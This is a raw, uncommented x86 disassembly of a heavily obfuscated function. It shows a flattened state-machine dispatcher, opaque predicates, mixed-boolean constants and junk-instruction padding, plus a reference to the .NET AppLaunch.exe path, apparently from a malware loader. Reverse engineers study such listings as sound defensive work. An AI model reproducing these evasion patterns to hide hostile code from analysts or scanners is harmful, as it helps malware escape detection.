and edi, 0xb3d85dc9
and edx, 0x4c27a236
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
mov eax, esi
not eax
and esi, 0x101acb62
and eax, 0xefe5349d
or esi, eax
xor esi, 0x101acb62
mov esi, 0x3f5e5f81
sete al
setne dl
cmp dword [0x4a4b78], 0xa
setge cl
setl ah
and dl, ah
and cl, al
or ah, al
or cl, dl
mov al, cl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xb62a6268
cmovne eax, esi
test cl, cl
mov ecx, 0xb62a6268
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
mov ecx, esi
xor ecx, 0xdf5addaf
mov eax, esi
not edx
or eax, 0x20a52250
and ecx, esi
mov esi, eax
and esi, 0x6b40b99d
and edx, 0x941a4422
or edx, esi
mov esi, ecx
not esi
and ecx, 0x94bf4662
or eax, esi
and esi, 0x6b40b99d
or ecx, esi
not eax
mov esi, 0x7c87c4f3
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9ebd59cd
and ecx, 0x6142a632
or eax, ecx
mov ecx, eax
xor eax, 0x30186a1d
xor ecx, 0x41e78462
mov edx, ecx
and eax, 0x701e6e7f
and ecx, 0x8fe19180
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x8fe19181
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x28dbbda2
and edx, 0xd724425d
or edx, ecx
mov eax, edx
xor eax, 0x4224420c
xor edx, 0x28c10002
and edx, 0xbdc10053
and eax, 0x423effac
or eax, edx
mov ecx, eax
xor ecx, 0x81c00043
xor eax, 0x4228b128
and eax, 0x7e29b138
and ecx, 0x81d64ec7
or ecx, eax
xor ecx, 0x81d64ec7
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
mov ch, dl
setl al
setge cl
or ch, al
xor al, dl
and al, ch
mov ch, cl
and cl, dl
inc ch
xor al, 1
and ah, ch
or ch, dl
or cl, ah
xor cl, 1
mov edx, ecx
or cl, ch
xor dl, ch
xor cl, 1
or cl, dl
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x78c9f483
cmovne ecx, esi
test al, 1
mov eax, 0x78c9f483
jmp 0x40152e
cmp byte [ebp - 0x9f], 0
mov eax, 0x7a8b1648
mov ecx, 0xb280199f
cmovne eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xc0]
mov eax, 0x79d2a07b
jmp 0x401540
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0x108]
push dword [ebp - 0x100]
vzeroupper
call fcn.00446440
add esp, 0xc
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x4fc8cc66
mov eax, ecx
and eax, 0xb0373398
and ecx, 0x8bd7f1a9
or esi, eax
mov eax, edx
xor eax, 0xfffffffe
xor esi, 0x4fc8cc66
and eax, edx
or eax, esi
mov esi, eax
not esi
and eax, 0x42a95cb7
and esi, 0xbd56a348
or eax, esi
mov esi, eax
xor esi, 0x28150a1
xor eax, 0xbd56a348
mov edi, eax
or eax, edx
and edx, 0x74280e56
and edi, 0x74280e56
and esi, 0x8bd7f1a9
or esi, edi
or ecx, edx
not eax
mov edi, 0x32299144
xor ecx, esi
mov esi, 0xafa20e41
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x84af2e89
and ecx, 0x7b50d176
or eax, ecx
xor eax, 0x84af2e89
sete dl
setne cl
cmp dword [0x4a4b78], 0xa
mov eax, edx
setl ch
setge ah
xor al, ch
and cl, ch
or ch, dl
and ah, dl
xor al, 1
mov dl, ch
or cl, ah
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x32299144
cmovne ecx, esi
test al, al
jmp 0x40d7c2
mov eax, dword [ebp - 0x128]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x124]
cmp ecx, eax
mov eax, dword [0x4a4b7c]
setl byte [ebp - 0x9e]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0x5b7cec5e
mov edi, edx
mov esi, eax
and esi, 0x750c6753
and edi, 0x808310a0
and edx, 0xa55b13fb
or edi, esi
mov esi, ecx
xor esi, 0xa48313a1
and esi, ecx
and ecx, 0x5aa4ec04
mov ebx, esi
not ebx
and esi, 0x8af398ac
or ecx, edx
or eax, ebx
and ebx, 0x750c6753
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xa48313a0
and esi, 0x5b7cec5f
or eax, esi
mov esi, eax
not esi
and eax, 0xc9134444
and esi, 0x36ecbbbb
or eax, esi
mov esi, eax
xor esi, 0xc8030004
xor eax, 0x36ecbbbb
mov edx, eax
and edx, 0x25b05fe2
and esi, 0xda4fa01d
or esi, edx
mov edx, ecx
xor edx, 0x5a04a004
xor ecx, 0xa55b13fb
or eax, ecx
and ecx, 0x25b05fe2
and edx, 0xda4fa01d
or edx, ecx
not eax
xor edx, esi
mov esi, 0xcffb667f
or eax, edx
mov ecx, eax
not ecx
and eax, 0x18f9ee82
and ecx, 0xe706117d
or eax, ecx
xor eax, 0x18f9ee82
setne ah
sete cl
cmp dword [0x4a4b78], 0xa
mov al, ah
setl dl
inc al
or ah, dl
xor cl, dl
xor ah, 1
and cl, dl
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
mov ah, cl
xor al, 1
or al, dl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, cl
xor dl, al
xor al, 1
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x75b4244
cmovne ecx, esi
test al, 1
mov eax, 0x75b4244
jmp 0x40152e
mov eax, 0x6eca27f
jmp 0x401540
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xc0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd8], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x92a215e
mov eax, edx
and eax, 0x2015c
and ecx, edx
not edx
mov esi, edx
and esi, 0x9282002
and edx, 0x5c
or eax, esi
mov esi, ecx
not esi
and ecx, 0x60559cfd
xor eax, 0x9282002
or eax, 0xf6d5dea1
mov edi, eax
or eax, esi
and edi, 0x9faa6302
and esi, 0x9faa6302
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x48236988
and ecx, 0xb7dc9677
or eax, ecx
mov ecx, eax
xor ecx, 0x410948d6
xor eax, 0xbef6b729
mov edx, ecx
or edx, 0x10320860
mov esi, eax
mov edi, eax
or esi, 0x604d0084
and edi, 0x8d80321a
and eax, 0x83723664
and edx, 0x707f08e4
and esi, 0x707f08e4
or edi, edx
mov edx, ecx
and edx, 0x200c501
and ecx, 0x7c8dc99a
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0x83723664
mov esi, edx
not esi
and edx, 0xedcd329f
and esi, 0x1232cd60
or edx, esi
mov esi, 0x90dba762
or eax, edx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4a4b78], 0xa
setl ah
setge al
mov ch, ah
and dl, al
xor ah, cl
and ch, cl
or ch, dl
mov dl, ah
xor dl, 1
xor al, ch
mov cl, dl
and al, ch
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x71a9aaaf
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0x71a9aaaf
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
add eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov eax, 0x67854cfd
jmp 0x401540
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1b4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xdc]
mov eax, 0xda414547
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0x5ff14b8a
mov edi, eax
mov esi, edx
and esi, 0x1ad2f5fe
and edi, 0xa00c0001
and eax, 0x9369308a
or edi, esi
mov esi, ecx
xor esi, 0xa00eb475
and esi, ecx
and ecx, 0x6c96cf75
mov ebx, esi
not ebx
and esi, 0xe52d0a01
or eax, ecx
or edx, ebx
and ebx, 0x1ad2f5fe
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xa00eb474
and esi, 0x5ff14b8b
or edx, esi
mov esi, edx
not esi
and edx, 0x9369308a
mov edi, esi
and edi, 0x6c96cf75
or edx, edi
mov edi, 0xe2301d90
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xb0e26bf
setne al
cmp dword [0x4a4b78], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe2301d90
cmovne ecx, esi
test al, 1
jmp 0x40d7c2
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x6c]
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, 0xbdf453a5
jmp 0x401540
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
mov eax, 0xde3a50d5
jmp 0x401540
mov eax, dword [ebp - 0xec]
mov ecx, 0x61abeff7
cmp eax, 0xc
mov eax, 0x92d39bbc
cmove eax, ecx
jmp 0x401540
mov eax, 0x1daac6fa
jmp 0x401540
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0x4ebd695c
and ecx, 0xb14296a3
or ecx, eax
mov eax, ecx
xor ecx, 0x91008081
xor eax, 0x4ebd695c
mov edx, eax
and ecx, 0xd305c1cd
and edx, 0x2cfa3e32
and eax, 0x38cb06e2
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x2cfa3e32
xor esi, 0x143138d0
xor edx, 0x1104014c
and esi, ecx
and edx, 0x1126175e
or eax, esi
mov esi, eax
not esi
and eax, 0xe734f91d
and esi, 0x18cb06e2
or eax, esi
mov esi, ecx
and esi, 0xeed9e8a1
and ecx, 0x20000000
or esi, edx
mov edx, esi
xor edx, 0x3022141a
xor esi, 0x88486081
or ecx, edx
and esi, 0x894c63c5
mov edx, eax
not edx
and eax, 0x3cc54c5c
and ecx, 0x76b39c3a
mov edi, edx
and edi, 0xc33ab3a3
or ecx, esi
or eax, edi
mov esi, ecx
xor esi, 0x34810c18
xor ecx, 0x894c63c5
or edx, ecx
and ecx, 0xc33ab3a3
and esi, 0x3cc54c5c
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov eax, edx
not eax
and edx, 0x2830050
mov ecx, eax
and ecx, 0x283c1e88
and eax, 0xd540e127
or edx, ecx
xor edx, 0x2830050
or eax, edx
mov ecx, eax
not ecx
and eax, 0x1aebb8f0
and ecx, 0xe514470f
or eax, ecx
xor eax, 0xe514470f
mov dword [ebp - 0x1cc], eax
mov eax, 0x6422eafa
jmp 0x401540
mov eax, dword [ebp - 0x178]
movzx eax, word [eax]
shr eax, 0xc
mov dword [ebp - 0x17c], eax
mov eax, 0x2ca14060
jmp 0x401540
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1d4]
vmovups ymm1, ymmword [0x4531a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4531c0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
add eax, 0x24
mov dword [ecx], eax
rcr eax, 0x7d
add eax, 0xe
bswap edx
imul ebx
dec edi
inc edx
rol eax, 0x37
not eax
not ebx
inc eax
dec edi
not edx
dec esi
imul eax
neg ebx
imul edx
dec eax
dec ebx
imul edi
bswap eax
ror ebx, 0xb6
rcr esi, 0x40
sbb eax, 0x79
rcl eax, 0xb9
bswap ebx
and edi, 0xa3
bswap esi
bswap edx
sub esi, 0x99
mov esi, 0x2a
sbb esi, 0x32
imul eax
mov eax, 0xc8
neg esi
dec ebx
or edx, 2
dec eax
dec esi
and edi, 0x25
sub ebx, 0x5f
and edx, 0xa6
ror ebx, 0xbf
dec edx
not eax
imul ebx
sbb ebx, 0x82
dec ebx
not edi
inc esi
inc edi
ror edx, 0xc5
sub edx, 0x74
bswap edi
rol ebx, 0x63
mov esi, 2
inc ebx
add esi, 0x17
or esi, 0x31
rol eax, 0x18
or eax, 0x72
ror edx, 0xe8
not esi
rol esi, 0xa
ror edx, 0xac
inc edx
bswap edx
ror esi, 0xbf
rcl esi, 0xa0
add ebx, 0xfc
inc ebx
add eax, 0x92
neg edi
dec esi
not ebx
rcr esi, 0xcc
neg edx
sub edi, 0xe6
sbb ebx, 0x2a
sbb eax, 0x44
rcl edi, 0x53
inc ebx
imul ebx
rcr ebx, 0x8d
rcl ebx, 0x63
rcl edi, 0x8c
not esi
rcr esi, 0x7a
neg edi
rcl edx, 0xb5
and edi, 0
imul edi
dec esi
imul edx
sub edi, 0xb5
not edi
not edi
or edx, 0xc7
inc ebx
inc edi
not edi
rol edx, 0x12
or edx, 0x2e
dec esi
mov edx, 9
inc edx
neg esi
rcr edi, 0x3e
sbb eax, 0x15
sub ebx, 0xd4
not edx
sbb edi, 0xee
sub eax, 0x5e
inc ebx
imul eax
sbb eax, 0xd6
rcr edx, 0x2a
sbb ebx, 0xe1
sbb ebx, 0xaa
rol eax, 0x23
neg edi
mov edi, 0
not esi
inc esi
imul esi
ror edx, 0xf0
imul edx
dec eax
bswap eax
imul eax
inc ebx
neg eax
and edx, 0x29
and esi, 0x25
not ebx
sub eax, 0x39
imul esi
sub edx, 0x63
ror eax, 5
dec ebx
rcr ebx, 0xf5
and ebx, 0x77
not ebx
neg ebx
or eax, 0x69
rcr edi, 0x1e
rcl edi, 0xe8
ror edx, 0x70
rcl eax, 0x78
neg ebx
neg ebx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov ecx, 0xbec293f4
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4531d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xb4]
setne byte [eax]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xb4]
cmp byte [eax], 0
mov eax, 0x88bd4bf4
cmove eax, ecx
jmp 0x401540
mov eax, dword [0x4a4b7c]
mov edi, 0x8de55e8
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x61f36ee4
mov eax, edx
and eax, 0x40504244
and ecx, edx
not edx
and edx, 0x21a32ca0
or eax, edx
mov edx, eax
xor edx, 0x400004
xor eax, 0xbfafbdbb
mov esi, eax
and esi, 0x56b473d0
and edx, 0x21430c24
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa94b8c2f
or eax, esi
and esi, 0x56b473d0
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x61f36ee4
and ecx, 0x9e0c911b
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0xf68a73f0
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x9758c0f
or eax, esi
mov esi, edx
not esi
and edx, 0xf68a73f0
or ecx, esi
and esi, 0x9758c0f
or edx, esi
not ecx
mov esi, 0x4b401694
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x10041205
mov edx, eax
and edx, 0x93889b2
and eax, 0xe6c36448
or ecx, edx
xor ecx, 0x10041205
or eax, ecx
sete cl
setne dl
cmp dword [0x4a4b78], 0xa
setl al
setge ah
and cl, ah
or ah, dl
and al, dl
or al, cl
xor ah, 1
mov ecx, eax
or al, ah
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, al
mov eax, 0x8de55e8
cmovne eax, edi
test cl, cl
cmove eax, edi
jmp 0x401540
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0xbec293f4
jmp 0x401540
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
add eax, dword [ebp - 0x94]
push dword [ebp - 0xe0]
push dword [ebp - 0x134]
push dword [ebp - 0x138]
push eax
vzeroupper
call section..text
add esp, 0x10
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x1849542b
mov edx, eax
and edx, 0x81a0a114
and eax, 0xbbd72e7
or esi, edx
mov edx, ecx
and edx, 0x66160ac0
and ecx, 0xf4428d18
xor esi, 0x1849542b
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0xf92ff26a
and esi, 0x6d00d95
or edx, esi
mov esi, edx
xor esi, 0x840244
xor edx, 0x9f39f8ab
mov edi, edx
and edi, 0xf4428d18
and esi, 0xbbd72e7
or esi, edi
mov edi, 0xab8d45ca
xor eax, esi
mov esi, 0x32661358
xor edx, eax
test edx, eax
setne dl
sete ah
cmp dword [0x4a4b78], 0xa
setge al
setl ch
mov cl, al
or ch, dl
or al, ah
mov edx, eax
or al, ch
xor cl, ah
xor dl, ch
xor al, 1
and cl, ah
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xab8d45ca
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, ecx
cmovne eax, edi
test dl, 1
cmovne eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, 0x1c869d07
jmp 0x401540
mov eax, dword [ebp - 0x1c8]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x68e6b51d
mov ebx, eax
and ebx, 0x8f14c001
and eax, 0x26f49b0e
mov esi, ecx
and esi, 0x97194ae2
mov edi, ecx
or edi, 0x1009013a
and ecx, 0xd90b64f1
or edx, esi
and edi, 0x108b13fe
or eax, ecx
mov esi, edx
xor edx, 0x10090022
xor esi, 0x60602400
or ebx, edi
mov ecx, eax
xor eax, 0xd90b64f1
xor ecx, 0x26f49b0e
or edx, 0x8212c4
and esi, 0x60602c00
and edx, 0x108b13fe
or esi, edx
xor ebx, esi
mov esi, ebx
not esi
and ebx, 0x4b4f862d
and esi, 0xb4b079d2
or ebx, esi
mov esi, ebx
xor esi, 0x7b26ab17
xor ebx, 0x84d954e8
and eax, esi
and ecx, ebx
or eax, ecx
not eax
or eax, ebx
cmp eax, 0xffffffff
mov eax, 0x2260f288
mov ecx, 0x7eb72845
cmove eax, ecx
jmp 0x401540
mov eax, 0x5c2b6437
jmp 0x401540
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x6c]
mov edi, 0x4a1710d
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xbd2464b5
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x42db9b4a
and edx, 0xbd2464b5
or edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0xba4f0085
and edx, 0x59547e43
mov esi, ecx
and esi, 0x45b0ff7a
or eax, esi
mov esi, eax
not esi
and eax, 0x2f03b710
and esi, 0xd0fc48ef
or eax, esi
mov esi, ecx
and esi, 0xa6ab81bc
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x104c00
xor esi, 0xa0210124
or ecx, edx
mov edx, eax
xor edx, 0x2ab04009
and esi, 0xf9653366
xor eax, 0x954cb794
and ecx, 0x69acc99
and edx, 0x3eb45509
or ecx, esi
mov esi, eax
and esi, 0xc14baaf6
or edx, esi
mov esi, ecx
xor esi, 0x6904409
xor ecx, 0xf9653366
or eax, ecx
and ecx, 0xc14baaf6
and esi, 0x3eb45509
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x2fd9b639
mov ecx, eax
not ecx
and eax, 0x321af565
and ecx, 0xcde50a9a
or ecx, eax
mov eax, ecx
xor eax, 0x85040218
xor ecx, 0x3010b065
and ecx, 0x78f1b8e7
and eax, 0x870e4718
or eax, ecx
cmp eax, 0x870e4718
setne al
cmp dword [0x4a4b78], 0xa
setge cl
setl ah
mov edx, ecx
or cl, al
xor dl, al
or al, ah
xor al, 1
and dl, ah
or dl, al
mov eax, 0x4a1710d
xor cl, dl
cmovne eax, esi
test cl, dl
cmove eax, esi
test cl, cl
cmove eax, edi
test cl, dl
cmovne eax, edi
jmp 0x401540
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1a8]
cmp dword [eax + ecx*4], 0
mov eax, 0x417e16be
mov ecx, 0xa24b3d2d
cmove eax, ecx
jmp 0x401540
cmp eax, 0x9c5b49f4
jne 0x401540
mov esi, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.004458d0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret